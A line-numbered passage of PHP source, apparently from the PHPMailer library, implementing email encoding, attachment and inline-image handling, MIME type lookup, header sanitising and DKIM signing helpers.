  2839. for ($i = 0; $i < $mb_length; $i += $offset) {
  2840. $lookBack = 0;
  2841. do {
  2842. $offset = $avgLength - $lookBack;
  2843. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2844. $chunk = base64_encode($chunk);
  2845. $lookBack++;
  2846. } while (strlen($chunk) > $length);
  2847. $encoded .= $chunk . $linebreak;
  2848. }
  2849.  
  2850. // Chomp the last linefeed
  2851. $encoded = substr($encoded, 0, -strlen($linebreak));
  2852. return $encoded;
  2853. }
  2854.  
  2855. /**
  2856. * Encode a string in quoted-printable format.
  2857. * According to RFC2045 section 6.7.
  2858. * @access public
  2859. * @param string $string The text to encode
  2860. * @param integer $line_max Number of chars allowed on a line before wrapping
  2861. * @return string
  2862. * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
  2863. */
  2864. public function encodeQP($string, $line_max = 76)
  2865. {
  2866. // Use native function if it's available (>= PHP5.3)
  2867. if (function_exists('quoted_printable_encode')) {
  2868. return quoted_printable_encode($string);
  2869. }
  2870. // Fall back to a pure PHP implementation
  2871. $string = str_replace(
  2872. array('%20', '%0D%0A.', '%0D%0A', '%'),
  2873. array(' ', "\r\n=2E", "\r\n", '='),
  2874. rawurlencode($string)
  2875. );
  2876. return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  2877. }
  2878.  
  2879. /**
  2880. * Backward compatibility wrapper for an old QP encoding function that was removed.
  2881. * @see PHPMailer::encodeQP()
  2882. * @access public
  2883. * @param string $string
  2884. * @param integer $line_max
  2885. * @param boolean $space_conv
  2886. * @return string
  2887. * @deprecated Use encodeQP instead.
  2888. */
  2889. public function encodeQPphp(
  2890. $string,
  2891. $line_max = 76,
  2892. /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  2893. ) {
  2894. return $this->encodeQP($string, $line_max);
  2895. }
  2896.  
  2897. /**
  2898. * Encode a string using Q encoding.
  2899. * @link http://tools.ietf.org/html/rfc2047
  2900. * @param string $str the text to encode
  2901. * @param string $position Where the text is going to be used, see the RFC for what that means
  2902. * @access public
  2903. * @return string
  2904. */
  2905. public function encodeQ($str, $position = 'text')
  2906. {
  2907. // There should not be any EOL in the string
  2908. $pattern = '';
  2909. $encoded = str_replace(array("\r", "\n"), '', $str);
  2910. switch (strtolower($position)) {
  2911. case 'phrase':
  2912. // RFC 2047 section 5.3
  2913. $pattern = '^A-Za-z0-9!*+\/ -';
  2914. break;
  2915. /** @noinspection PhpMissingBreakStatementInspection */
  2916. case 'comment':
  2917. // RFC 2047 section 5.2
  2918. $pattern = '\(\)"';
  2919. // intentional fall-through
  2920. // for this reason we build the $pattern without including delimiters and []
  2921. case 'text':
  2922. default:
  2923. // RFC 2047 section 5.1
  2924. // Replace every high ascii, control, =, ? and _ characters
  2925. $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  2926. break;
  2927. }
  2928. $matches = array();
  2929. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2930. // If the string contains an '=', make sure it's the first thing we replace
  2931. // so as to avoid double-encoding
  2932. $eqkey = array_search('=', $matches[0]);
  2933. if (false !== $eqkey) {
  2934. unset($matches[0][$eqkey]);
  2935. array_unshift($matches[0], '=');
  2936. }
  2937. foreach (array_unique($matches[0]) as $char) {
  2938. $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2939. }
  2940. }
  2941. // Replace every spaces to _ (more readable than =20)
  2942. return str_replace(' ', '_', $encoded);
  2943. }
  2944.  
  2945. /**
  2946. * Add a string or binary attachment (non-filesystem).
  2947. * This method can be used to attach ascii or binary data,
  2948. * such as a BLOB record from a database.
  2949. * @param string $string String attachment data.
  2950. * @param string $filename Name of the attachment.
  2951. * @param string $encoding File encoding (see $Encoding).
  2952. * @param string $type File extension (MIME) type.
  2953. * @param string $disposition Disposition to use
  2954. * @return void
  2955. */
  2956. public function addStringAttachment(
  2957. $string,
  2958. $filename,
  2959. $encoding = 'base64',
  2960. $type = '',
  2961. $disposition = 'attachment'
  2962. ) {
  2963. // If a MIME type is not specified, try to work it out from the file name
  2964. if ($type == '') {
  2965. $type = self::filenameToType($filename);
  2966. }
  2967. // Append to $attachment array
  2968. $this->attachment[] = array(
  2969. 0 => $string,
  2970. 1 => $filename,
  2971. 2 => basename($filename),
  2972. 3 => $encoding,
  2973. 4 => $type,
  2974. 5 => true, // isStringAttachment
  2975. 6 => $disposition,
  2976. 7 => 0
  2977. );
  2978. }
  2979.  
  2980. /**
  2981. * Add an embedded (inline) attachment from a file.
  2982. * This can include images, sounds, and just about any other document type.
  2983. * These differ from 'regular' attachments in that they are intended to be
  2984. * displayed inline with the message, not just attached for download.
  2985. * This is used in HTML messages that embed the images
  2986. * the HTML refers to using the $cid value.
  2987. * @param string $path Path to the attachment.
  2988. * @param string $cid Content ID of the attachment; Use this to reference
  2989. * the content when using an embedded image in HTML.
  2990. * @param string $name Overrides the attachment name.
  2991. * @param string $encoding File encoding (see $Encoding).
  2992. * @param string $type File MIME type.
  2993. * @param string $disposition Disposition to use
  2994. * @return boolean True on successfully adding an attachment
  2995. */
  2996. public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  2997. {
  2998. if (!@is_file($path)) {
  2999. $this->setError($this->lang('file_access') . $path);
  3000. return false;
  3001. }
  3002.  
  3003. // If a MIME type is not specified, try to work it out from the file name
  3004. if ($type == '') {
  3005. $type = self::filenameToType($path);
  3006. }
  3007.  
  3008. $filename = basename($path);
  3009. if ($name == '') {
  3010. $name = $filename;
  3011. }
  3012.  
  3013. // Append to $attachment array
  3014. $this->attachment[] = array(
  3015. 0 => $path,
  3016. 1 => $filename,
  3017. 2 => $name,
  3018. 3 => $encoding,
  3019. 4 => $type,
  3020. 5 => false, // isStringAttachment
  3021. 6 => $disposition,
  3022. 7 => $cid
  3023. );
  3024. return true;
  3025. }
  3026.  
  3027. /**
  3028. * Add an embedded stringified attachment.
  3029. * This can include images, sounds, and just about any other document type.
  3030. * Be sure to set the $type to an image type for images:
  3031. * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
  3032. * @param string $string The attachment binary data.
  3033. * @param string $cid Content ID of the attachment; Use this to reference
  3034. * the content when using an embedded image in HTML.
  3035. * @param string $name
  3036. * @param string $encoding File encoding (see $Encoding).
  3037. * @param string $type MIME type.
  3038. * @param string $disposition Disposition to use
  3039. * @return boolean True on successfully adding an attachment
  3040. */
  3041. public function addStringEmbeddedImage(
  3042. $string,
  3043. $cid,
  3044. $name = '',
  3045. $encoding = 'base64',
  3046. $type = '',
  3047. $disposition = 'inline'
  3048. ) {
  3049. // If a MIME type is not specified, try to work it out from the name
  3050. if ($type == '' and !empty($name)) {
  3051. $type = self::filenameToType($name);
  3052. }
  3053.  
  3054. // Append to $attachment array
  3055. $this->attachment[] = array(
  3056. 0 => $string,
  3057. 1 => $name,
  3058. 2 => $name,
  3059. 3 => $encoding,
  3060. 4 => $type,
  3061. 5 => true, // isStringAttachment
  3062. 6 => $disposition,
  3063. 7 => $cid
  3064. );
  3065. return true;
  3066. }
  3067.  
  3068. /**
  3069. * Check if an inline attachment is present.
  3070. * @access public
  3071. * @return boolean
  3072. */
  3073. public function inlineImageExists()
  3074. {
  3075. foreach ($this->attachment as $attachment) {
  3076. if ($attachment[6] == 'inline') {
  3077. return true;
  3078. }
  3079. }
  3080. return false;
  3081. }
  3082.  
  3083. /**
  3084. * Check if an attachment (non-inline) is present.
  3085. * @return boolean
  3086. */
  3087. public function attachmentExists()
  3088. {
  3089. foreach ($this->attachment as $attachment) {
  3090. if ($attachment[6] == 'attachment') {
  3091. return true;
  3092. }
  3093. }
  3094. return false;
  3095. }
  3096.  
  3097. /**
  3098. * Check if this message has an alternative body set.
  3099. * @return boolean
  3100. */
  3101. public function alternativeExists()
  3102. {
  3103. return !empty($this->AltBody);
  3104. }
  3105.  
  3106. /**
  3107. * Clear queued addresses of given kind.
  3108. * @access protected
  3109. * @param string $kind 'to', 'cc', or 'bcc'
  3110. * @return void
  3111. */
  3112. public function clearQueuedAddresses($kind)
  3113. {
  3114. $RecipientsQueue = $this->RecipientsQueue;
  3115. foreach ($RecipientsQueue as $address => $params) {
  3116. if ($params[0] == $kind) {
  3117. unset($this->RecipientsQueue[$address]);
  3118. }
  3119. }
  3120. }
  3121.  
  3122. /**
  3123. * Clear all To recipients.
  3124. * @return void
  3125. */
  3126. public function clearAddresses()
  3127. {
  3128. foreach ($this->to as $to) {
  3129. unset($this->all_recipients[strtolower($to[0])]);
  3130. }
  3131. $this->to = array();
  3132. $this->clearQueuedAddresses('to');
  3133. }
  3134.  
  3135. /**
  3136. * Clear all CC recipients.
  3137. * @return void
  3138. */
  3139. public function clearCCs()
  3140. {
  3141. foreach ($this->cc as $cc) {
  3142. unset($this->all_recipients[strtolower($cc[0])]);
  3143. }
  3144. $this->cc = array();
  3145. $this->clearQueuedAddresses('cc');
  3146. }
  3147.  
  3148. /**
  3149. * Clear all BCC recipients.
  3150. * @return void
  3151. */
  3152. public function clearBCCs()
  3153. {
  3154. foreach ($this->bcc as $bcc) {
  3155. unset($this->all_recipients[strtolower($bcc[0])]);
  3156. }
  3157. $this->bcc = array();
  3158. $this->clearQueuedAddresses('bcc');
  3159. }
  3160.  
  3161. /**
  3162. * Clear all ReplyTo recipients.
  3163. * @return void
  3164. */
  3165. public function clearReplyTos()
  3166. {
  3167. $this->ReplyTo = array();
  3168. $this->ReplyToQueue = array();
  3169. }
  3170.  
  3171. /**
  3172. * Clear all recipient types.
  3173. * @return void
  3174. */
  3175. public function clearAllRecipients()
  3176. {
  3177. $this->to = array();
  3178. $this->cc = array();
  3179. $this->bcc = array();
  3180. $this->all_recipients = array();
  3181. $this->RecipientsQueue = array();
  3182. }
  3183.  
  3184. /**
  3185. * Clear all filesystem, string, and binary attachments.
  3186. * @return void
  3187. */
  3188. public function clearAttachments()
  3189. {
  3190. $this->attachment = array();
  3191. }
  3192.  
  3193. /**
  3194. * Clear all custom headers.
  3195. * @return void
  3196. */
  3197. public function clearCustomHeaders()
  3198. {
  3199. $this->CustomHeader = array();
  3200. }
  3201.  
  3202. /**
  3203. * Add an error message to the error container.
  3204. * @access protected
  3205. * @param string $msg
  3206. * @return void
  3207. */
  3208. protected function setError($msg)
  3209. {
  3210. $this->error_count++;
  3211. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  3212. $lasterror = $this->smtp->getError();
  3213. if (!empty($lasterror['error'])) {
  3214. $msg .= $this->lang('smtp_error') . $lasterror['error'];
  3215. if (!empty($lasterror['detail'])) {
  3216. $msg .= ' Detail: '. $lasterror['detail'];
  3217. }
  3218. if (!empty($lasterror['smtp_code'])) {
  3219. $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
  3220. }
  3221. if (!empty($lasterror['smtp_code_ex'])) {
  3222. $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
  3223. }
  3224. }
  3225. }
  3226. $this->ErrorInfo = $msg;
  3227. }
  3228.  
  3229. /**
  3230. * Return an RFC 822 formatted date.
  3231. * @access public
  3232. * @return string
  3233. * @static
  3234. */
  3235. public static function rfcDate()
  3236. {
  3237. // Set the time zone to whatever the default is to avoid 500 errors
  3238. // Will default to UTC if it's not set properly in php.ini
  3239. date_default_timezone_set(@date_default_timezone_get());
  3240. return date('D, j M Y H:i:s O');
  3241. }
  3242.  
  3243. /**
  3244. * Get the server hostname.
  3245. * Returns 'localhost.localdomain' if unknown.
  3246. * @access protected
  3247. * @return string
  3248. */
  3249. protected function serverHostname()
  3250. {
  3251. $result = 'localhost.localdomain';
  3252. if (!empty($this->Hostname)) {
  3253. $result = $this->Hostname;
  3254. } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  3255. $result = $_SERVER['SERVER_NAME'];
  3256. } elseif (function_exists('gethostname') && gethostname() !== false) {
  3257. $result = gethostname();
  3258. } elseif (php_uname('n') !== false) {
  3259. $result = php_uname('n');
  3260. }
  3261. return $result;
  3262. }
  3263.  
  3264. /**
  3265. * Get an error message in the current language.
  3266. * @access protected
  3267. * @param string $key
  3268. * @return string
  3269. */
  3270. protected function lang($key)
  3271. {
  3272. if (count($this->language) < 1) {
  3273. $this->setLanguage('en'); // set the default language
  3274. }
  3275.  
  3276. if (array_key_exists($key, $this->language)) {
  3277. if ($key == 'smtp_connect_failed') {
  3278. //Include a link to troubleshooting docs on SMTP connection failure
  3279. //this is by far the biggest cause of support questions
  3280. //but it's usually not PHPMailer's fault.
  3281. return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
  3282. }
  3283. return $this->language[$key];
  3284. } else {
  3285. //Return the key as a fallback
  3286. return $key;
  3287. }
  3288. }
  3289.  
  3290. /**
  3291. * Check if an error occurred.
  3292. * @access public
  3293. * @return boolean True if an error did occur.
  3294. */
  3295. public function isError()
  3296. {
  3297. return ($this->error_count > 0);
  3298. }
  3299.  
  3300. /**
  3301. * Ensure consistent line endings in a string.
  3302. * Changes every end of line from CRLF, CR or LF to $this->LE.
  3303. * @access public
  3304. * @param string $str String to fixEOL
  3305. * @return string
  3306. */
  3307. public function fixEOL($str)
  3308. {
  3309. // Normalise to \n
  3310. $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  3311. // Now convert LE as needed
  3312. if ($this->LE !== "\n") {
  3313. $nstr = str_replace("\n", $this->LE, $nstr);
  3314. }
  3315. return $nstr;
  3316. }
  3317.  
  3318. /**
  3319. * Add a custom header.
  3320. * $name value can be overloaded to contain
  3321. * both header name and value (name:value)
  3322. * @access public
  3323. * @param string $name Custom header name
  3324. * @param string $value Header value
  3325. * @return void
  3326. */
  3327. public function addCustomHeader($name, $value = null)
  3328. {
  3329. if ($value === null) {
  3330. // Value passed in as name:value
  3331. $this->CustomHeader[] = explode(':', $name, 2);
  3332. } else {
  3333. $this->CustomHeader[] = array($name, $value);
  3334. }
  3335. }
  3336.  
  3337. /**
  3338. * Returns all custom headers.
  3339. * @return array
  3340. */
  3341. public function getCustomHeaders()
  3342. {
  3343. return $this->CustomHeader;
  3344. }
  3345.  
  3346. /**
  3347. * Create a message from an HTML string.
  3348. * Automatically makes modifications for inline images and backgrounds
  3349. * and creates a plain-text version by converting the HTML.
  3350. * Overwrites any existing values in $this->Body and $this->AltBody
  3351. * @access public
  3352. * @param string $message HTML message string
  3353. * @param string $basedir baseline directory for path
  3354. * @param boolean|callable $advanced Whether to use the internal HTML to text converter
  3355. * or your own custom converter @see PHPMailer::html2text()
  3356. * @return string $message
  3357. */
  3358. public function msgHTML($message, $basedir = '', $advanced = false)
  3359. {
  3360. preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  3361. if (array_key_exists(2, $images)) {
  3362. foreach ($images[2] as $imgindex => $url) {
  3363. // Convert data URIs into embedded images
  3364. if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  3365. $data = substr($url, strpos($url, ','));
  3366. if ($match[2]) {
  3367. $data = base64_decode($data);
  3368. } else {
  3369. $data = rawurldecode($data);
  3370. }
  3371. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3372. if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
  3373. $message = str_replace(
  3374. $images[0][$imgindex],
  3375. $images[1][$imgindex] . '="cid:' . $cid . '"',
  3376. $message
  3377. );
  3378. }
  3379. } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[A-z]+://#', $url)) {
  3380. // Do not change urls for absolute images (thanks to corvuscorax)
  3381. // Do not change urls that are already inline images
  3382. $filename = basename($url);
  3383. $directory = dirname($url);
  3384. if ($directory == '.') {
  3385. $directory = '';
  3386. }
  3387. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3388. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  3389. $basedir .= '/';
  3390. }
  3391. if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  3392. $directory .= '/';
  3393. }
  3394. if ($this->addEmbeddedImage(
  3395. $basedir . $directory . $filename,
  3396. $cid,
  3397. $filename,
  3398. 'base64',
  3399. self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  3400. )
  3401. ) {
  3402. $message = preg_replace(
  3403. '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  3404. $images[1][$imgindex] . '="cid:' . $cid . '"',
  3405. $message
  3406. );
  3407. }
  3408. }
  3409. }
  3410. }
  3411. $this->isHTML(true);
  3412. // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  3413. $this->Body = $this->normalizeBreaks($message);
  3414. $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  3415. if (empty($this->AltBody)) {
  3416. $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  3417. self::CRLF . self::CRLF;
  3418. }
  3419. return $this->Body;
  3420. }
  3421.  
  3422. /**
  3423. * Convert an HTML string into plain text.
  3424. * This is used by msgHTML().
  3425. * Note - older versions of this function used a bundled advanced converter
  3426. * which was been removed for license reasons in #232
  3427. * Example usage:
  3428. * <code>
  3429. * // Use default conversion
  3430. * $plain = $mail->html2text($html);
  3431. * // Use your own custom converter
  3432. * $plain = $mail->html2text($html, function($html) {
  3433. * $converter = new MyHtml2text($html);
  3434. * return $converter->get_text();
  3435. * });
  3436. * </code>
  3437. * @param string $html The HTML text to convert
  3438. * @param boolean|callable $advanced Any boolean value to use the internal converter,
  3439. * or provide your own callable for custom conversion.
  3440. * @return string
  3441. */
  3442. public function html2text($html, $advanced = false)
  3443. {
  3444. if (is_callable($advanced)) {
  3445. return call_user_func($advanced, $html);
  3446. }
  3447. return html_entity_decode(
  3448. trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  3449. ENT_QUOTES,
  3450. $this->CharSet
  3451. );
  3452. }
  3453.  
  3454. /**
  3455. * Get the MIME type for a file extension.
  3456. * @param string $ext File extension
  3457. * @access public
  3458. * @return string MIME type of file.
  3459. * @static
  3460. */
  3461. public static function _mime_types($ext = '')
  3462. {
  3463. $mimes = array(
  3464. 'xl' => 'application/excel',
  3465. 'js' => 'application/javascript',
  3466. 'hqx' => 'application/mac-binhex40',
  3467. 'cpt' => 'application/mac-compactpro',
  3468. 'bin' => 'application/macbinary',
  3469. 'doc' => 'application/msword',
  3470. 'word' => 'application/msword',
  3471. 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
  3472. 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
  3473. 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
  3474. 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
  3475. 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
  3476. 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
  3477. 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
  3478. 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
  3479. 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
  3480. 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
  3481. 'class' => 'application/octet-stream',
  3482. 'dll' => 'application/octet-stream',
  3483. 'dms' => 'application/octet-stream',
  3484. 'exe' => 'application/octet-stream',
  3485. 'lha' => 'application/octet-stream',
  3486. 'lzh' => 'application/octet-stream',
  3487. 'psd' => 'application/octet-stream',
  3488. 'sea' => 'application/octet-stream',
  3489. 'so' => 'application/octet-stream',
  3490. 'oda' => 'application/oda',
  3491. 'pdf' => 'application/pdf',
  3492. 'ai' => 'application/postscript',
  3493. 'eps' => 'application/postscript',
  3494. 'ps' => 'application/postscript',
  3495. 'smi' => 'application/smil',
  3496. 'smil' => 'application/smil',
  3497. 'mif' => 'application/vnd.mif',
  3498. 'xls' => 'application/vnd.ms-excel',
  3499. 'ppt' => 'application/vnd.ms-powerpoint',
  3500. 'wbxml' => 'application/vnd.wap.wbxml',
  3501. 'wmlc' => 'application/vnd.wap.wmlc',
  3502. 'dcr' => 'application/x-director',
  3503. 'dir' => 'application/x-director',
  3504. 'dxr' => 'application/x-director',
  3505. 'dvi' => 'application/x-dvi',
  3506. 'gtar' => 'application/x-gtar',
  3507. 'php3' => 'application/x-httpd-php',
  3508. 'php4' => 'application/x-httpd-php',
  3509. 'php' => 'application/x-httpd-php',
  3510. 'phtml' => 'application/x-httpd-php',
  3511. 'phps' => 'application/x-httpd-php-source',
  3512. 'swf' => 'application/x-shockwave-flash',
  3513. 'sit' => 'application/x-stuffit',
  3514. 'tar' => 'application/x-tar',
  3515. 'tgz' => 'application/x-tar',
  3516. 'xht' => 'application/xhtml+xml',
  3517. 'xhtml' => 'application/xhtml+xml',
  3518. 'zip' => 'application/zip',
  3519. 'mid' => 'audio/midi',
  3520. 'midi' => 'audio/midi',
  3521. 'mp2' => 'audio/mpeg',
  3522. 'mp3' => 'audio/mpeg',
  3523. 'mpga' => 'audio/mpeg',
  3524. 'aif' => 'audio/x-aiff',
  3525. 'aifc' => 'audio/x-aiff',
  3526. 'aiff' => 'audio/x-aiff',
  3527. 'ram' => 'audio/x-pn-realaudio',
  3528. 'rm' => 'audio/x-pn-realaudio',
  3529. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3530. 'ra' => 'audio/x-realaudio',
  3531. 'wav' => 'audio/x-wav',
  3532. 'bmp' => 'image/bmp',
  3533. 'gif' => 'image/gif',
  3534. 'jpeg' => 'image/jpeg',
  3535. 'jpe' => 'image/jpeg',
  3536. 'jpg' => 'image/jpeg',
  3537. 'png' => 'image/png',
  3538. 'tiff' => 'image/tiff',
  3539. 'tif' => 'image/tiff',
  3540. 'eml' => 'message/rfc822',
  3541. 'css' => 'text/css',
  3542. 'html' => 'text/html',
  3543. 'htm' => 'text/html',
  3544. 'shtml' => 'text/html',
  3545. 'log' => 'text/plain',
  3546. 'text' => 'text/plain',
  3547. 'txt' => 'text/plain',
  3548. 'rtx' => 'text/richtext',
  3549. 'rtf' => 'text/rtf',
  3550. 'vcf' => 'text/vcard',
  3551. 'vcard' => 'text/vcard',
  3552. 'xml' => 'text/xml',
  3553. 'xsl' => 'text/xml',
  3554. 'mpeg' => 'video/mpeg',
  3555. 'mpe' => 'video/mpeg',
  3556. 'mpg' => 'video/mpeg',
  3557. 'mov' => 'video/quicktime',
  3558. 'qt' => 'video/quicktime',
  3559. 'rv' => 'video/vnd.rn-realvideo',
  3560. 'avi' => 'video/x-msvideo',
  3561. 'movie' => 'video/x-sgi-movie'
  3562. );
  3563. if (array_key_exists(strtolower($ext), $mimes)) {
  3564. return $mimes[strtolower($ext)];
  3565. }
  3566. return 'application/octet-stream';
  3567. }
  3568.  
  3569. /**
  3570. * Map a file name to a MIME type.
  3571. * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
  3572. * @param string $filename A file name or full path, does not need to exist as a file
  3573. * @return string
  3574. * @static
  3575. */
  3576. public static function filenameToType($filename)
  3577. {
  3578. // In case the path is a URL, strip any query string before getting extension
  3579. $qpos = strpos($filename, '?');
  3580. if (false !== $qpos) {
  3581. $filename = substr($filename, 0, $qpos);
  3582. }
  3583. $pathinfo = self::mb_pathinfo($filename);
  3584. return self::_mime_types($pathinfo['extension']);
  3585. }
  3586.  
  3587. /**
  3588. * Multi-byte-safe pathinfo replacement.
  3589. * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
  3590. * Works similarly to the one in PHP >= 5.2.0
  3591. * @link http://www.php.net/manual/en/function.pathinfo.php#107461
  3592. * @param string $path A filename or path, does not need to exist as a file
  3593. * @param integer|string $options Either a PATHINFO_* constant,
  3594. * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
  3595. * @return string|array
  3596. * @static
  3597. */
  3598. public static function mb_pathinfo($path, $options = null)
  3599. {
  3600. $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  3601. $pathinfo = array();
  3602. if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  3603. if (array_key_exists(1, $pathinfo)) {
  3604. $ret['dirname'] = $pathinfo[1];
  3605. }
  3606. if (array_key_exists(2, $pathinfo)) {
  3607. $ret['basename'] = $pathinfo[2];
  3608. }
  3609. if (array_key_exists(5, $pathinfo)) {
  3610. $ret['extension'] = $pathinfo[5];
  3611. }
  3612. if (array_key_exists(3, $pathinfo)) {
  3613. $ret['filename'] = $pathinfo[3];
  3614. }
  3615. }
  3616. switch ($options) {
  3617. case PATHINFO_DIRNAME:
  3618. case 'dirname':
  3619. return $ret['dirname'];
  3620. case PATHINFO_BASENAME:
  3621. case 'basename':
  3622. return $ret['basename'];
  3623. case PATHINFO_EXTENSION:
  3624. case 'extension':
  3625. return $ret['extension'];
  3626. case PATHINFO_FILENAME:
  3627. case 'filename':
  3628. return $ret['filename'];
  3629. default:
  3630. return $ret;
  3631. }
  3632. }
  3633.  
  3634. /**
  3635. * Set or reset instance properties.
  3636. * You should avoid this function - it's more verbose, less efficient, more error-prone and
  3637. * harder to debug than setting properties directly.
  3638. * Usage Example:
  3639. * `$mail->set('SMTPSecure', 'tls');`
  3640. * is the same as:
  3641. * `$mail->SMTPSecure = 'tls';`
  3642. * @access public
  3643. * @param string $name The property name to set
  3644. * @param mixed $value The value to set the property to
  3645. * @return boolean
  3646. * @TODO Should this not be using the __set() magic function?
  3647. */
  3648. public function set($name, $value = '')
  3649. {
  3650. if (property_exists($this, $name)) {
  3651. $this->$name = $value;
  3652. return true;
  3653. } else {
  3654. $this->setError($this->lang('variable_set') . $name);
  3655. return false;
  3656. }
  3657. }
  3658.  
  3659. /**
  3660. * Strip newlines to prevent header injection.
  3661. * @access public
  3662. * @param string $str
  3663. * @return string
  3664. */
  3665. public function secureHeader($str)
  3666. {
  3667. return trim(str_replace(array("\r", "\n"), '', $str));
  3668. }
  3669.  
  3670. /**
  3671. * Normalize line breaks in a string.
  3672. * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
  3673. * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
  3674. * @param string $text
  3675. * @param string $breaktype What kind of line break to use, defaults to CRLF
  3676. * @return string
  3677. * @access public
  3678. * @static
  3679. */
  3680. public static function normalizeBreaks($text, $breaktype = "\r\n")
  3681. {
  3682. return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  3683. }
  3684.  
  3685. /**
  3686. * Set the public and private key files and password for S/MIME signing.
  3687. * @access public
  3688. * @param string $cert_filename
  3689. * @param string $key_filename
  3690. * @param string $key_pass Password for private key
  3691. * @param string $extracerts_filename Optional path to chain certificate
  3692. */
  3693. public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
  3694. {
  3695. $this->sign_cert_file = $cert_filename;
  3696. $this->sign_key_file = $key_filename;
  3697. $this->sign_key_pass = $key_pass;
  3698. $this->sign_extracerts_file = $extracerts_filename;
  3699. }
  3700.  
  3701. /**
  3702. * Quoted-Printable-encode a DKIM header.
  3703. * @access public
  3704. * @param string $txt
  3705. * @return string
  3706. */
  3707. public function DKIM_QP($txt)
  3708. {
  3709. $line = '';
  3710. for ($i = 0; $i < strlen($txt); $i++) {
  3711. $ord = ord($txt[$i]);
  3712. if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  3713. $line .= $txt[$i];
  3714. } else {
  3715. $line .= '=' . sprintf('%02X', $ord);
  3716. }
  3717. }
  3718. return $line;
  3719. }
  3720.  
  3721. /**
  3722. * Generate a DKIM signature.
  3723. * @access public
  3724. * @param string $signHeader
  3725. * @throws phpmailerException
  3726. * @return string
  3727. */
  3728. public function DKIM_Sign($signHeader)
  3729. {
  3730. if (!defined('PKCS7_TEXT')) {
  3731. if ($this->exceptions) {
  3732. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  3733. }
  3734. return '';
  3735. }
  3736. $privKeyStr = file_get_contents($this->DKIM_private);
  3737. if ($this->DKIM_passphrase != '') {
  3738. $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  3739. } else {
  3740. $privKey = $privKeyStr;
  3741. }
  3742. if (openssl_sign($signHeader, $signature, $privKey)) {
  3743. return base64_encode($signature);
  3744. }
  3745. return '';
  3746. }
  3747.  
  3748. /**
  3749. * Generate a DKIM canonicalization header.
  3750. * @access public
  3751. * @param string $signHeader Header
  3752. * @return string
  3753. */
  3754. public function DKIM_HeaderC($signHeader)
  3755. {
  3756. $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  3757. $lines = explode("\r\n", $signHeader);
  3758. foreach ($lines as $key => $line) {
  3759. list($heading, $value) = explode(':', $line, 2);
  3760. $heading = strtolower($heading);
  3761. $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  3762. $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  3763. }
  3764. $signHeader = implode("\r\n", $lines);
  3765. return $signHeader;
  3766. }
  3767.  
  3768. /**
  3769. * Generate a DKIM canonicalization body.
  3770. * @access public
  3771. * @param string $body Message Body
  3772. * @return string
  3773. */
  3774. public function DKIM_BodyC($body)
  3775. {
  3776. if ($body == '') {
  3777. return "\r\n";
  3778. }
  3779. // stabilize line endings
  3780. $body = str_replace("\r\n", "\n", $body);
  3781. $body = str_replace("\n", "\r\n", $body);
